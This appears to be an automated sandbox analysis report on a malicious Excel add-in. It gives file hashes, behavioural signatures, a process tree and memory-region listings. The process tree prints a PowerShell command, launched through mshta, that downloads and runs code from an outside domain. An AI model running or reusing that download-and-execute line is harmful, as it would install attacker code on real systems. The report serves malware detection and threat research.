Analysis

  • max time kernel
    101s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 19:18

General

  • Target

    7a25f24bb46d715bc48f8767de65860b36e854fbca7efb94441c0cac0218e16d.xll

  • Size

    12KB

  • MD5

    f66c097a5baefc3c3b17cbb420c2080c

  • SHA1

    d8c87f5cbac9d7d808b131bd9a4b0d2eca5e8e67

  • SHA256

    7a25f24bb46d715bc48f8767de65860b36e854fbca7efb94441c0cac0218e16d

  • SHA512

    95f749c7f2e28ff4c447406bfbfb0a0cf93d9c71c91a238ba98ecfcc3347a75feadf3ab4519f667f4d6e20cb150f460a838e96930c1186fea6b38125951dbe5e

  • SSDEEP

    192:iL29RBzDzeobchBj8JON3ONVEruJrEPEjr7AhLc:829jnbcvYJO8L0uJvr7CA

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7a25f24bb46d715bc48f8767de65860b36e854fbca7efb94441c0cac0218e16d.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4644
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1912

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3YK18YAR\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\7a25f24bb46d715bc48f8767de65860b36e854fbca7efb94441c0cac0218e16d.xll

    Filesize

    12KB

    MD5

    f66c097a5baefc3c3b17cbb420c2080c

    SHA1

    d8c87f5cbac9d7d808b131bd9a4b0d2eca5e8e67

    SHA256

    7a25f24bb46d715bc48f8767de65860b36e854fbca7efb94441c0cac0218e16d

    SHA512

    95f749c7f2e28ff4c447406bfbfb0a0cf93d9c71c91a238ba98ecfcc3347a75feadf3ab4519f667f4d6e20cb150f460a838e96930c1186fea6b38125951dbe5e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4okxakyq.yck.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1912-56-0x00000000065C0000-0x000000000660C000-memory.dmp

    Filesize

    304KB

  • memory/1912-55-0x0000000006580000-0x000000000659E000-memory.dmp

    Filesize

    120KB

  • memory/1912-54-0x0000000006180000-0x00000000064D4000-memory.dmp

    Filesize

    3.3MB

  • memory/1912-57-0x0000000007E00000-0x000000000847A000-memory.dmp

    Filesize

    6.5MB

  • memory/1912-44-0x0000000005F40000-0x0000000005FA6000-memory.dmp

    Filesize

    408KB

  • memory/1912-43-0x0000000005ED0000-0x0000000005F36000-memory.dmp

    Filesize

    408KB

  • memory/1912-42-0x00000000056D0000-0x00000000056F2000-memory.dmp

    Filesize

    136KB

  • memory/1912-41-0x00000000057F0000-0x0000000005E18000-memory.dmp

    Filesize

    6.2MB

  • memory/1912-40-0x0000000003010000-0x0000000003046000-memory.dmp

    Filesize

    216KB

  • memory/1912-58-0x0000000006A90000-0x0000000006AAA000-memory.dmp

    Filesize

    104KB

  • memory/4652-7-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-5-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-13-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-18-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-17-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-16-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-14-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-12-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-11-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-10-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-0-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-9-0x00007FFC1A420000-0x00007FFC1A430000-memory.dmp

    Filesize

    64KB

  • memory/4652-8-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-15-0x00007FFC1A420000-0x00007FFC1A430000-memory.dmp

    Filesize

    64KB

  • memory/4652-6-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-4-0x00007FFC5CB0D000-0x00007FFC5CB0E000-memory.dmp

    Filesize

    4KB

  • memory/4652-1-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-3-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-2-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-68-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB

  • memory/4652-84-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-85-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-87-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-86-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmp

    Filesize

    64KB

  • memory/4652-88-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp

    Filesize

    2.0MB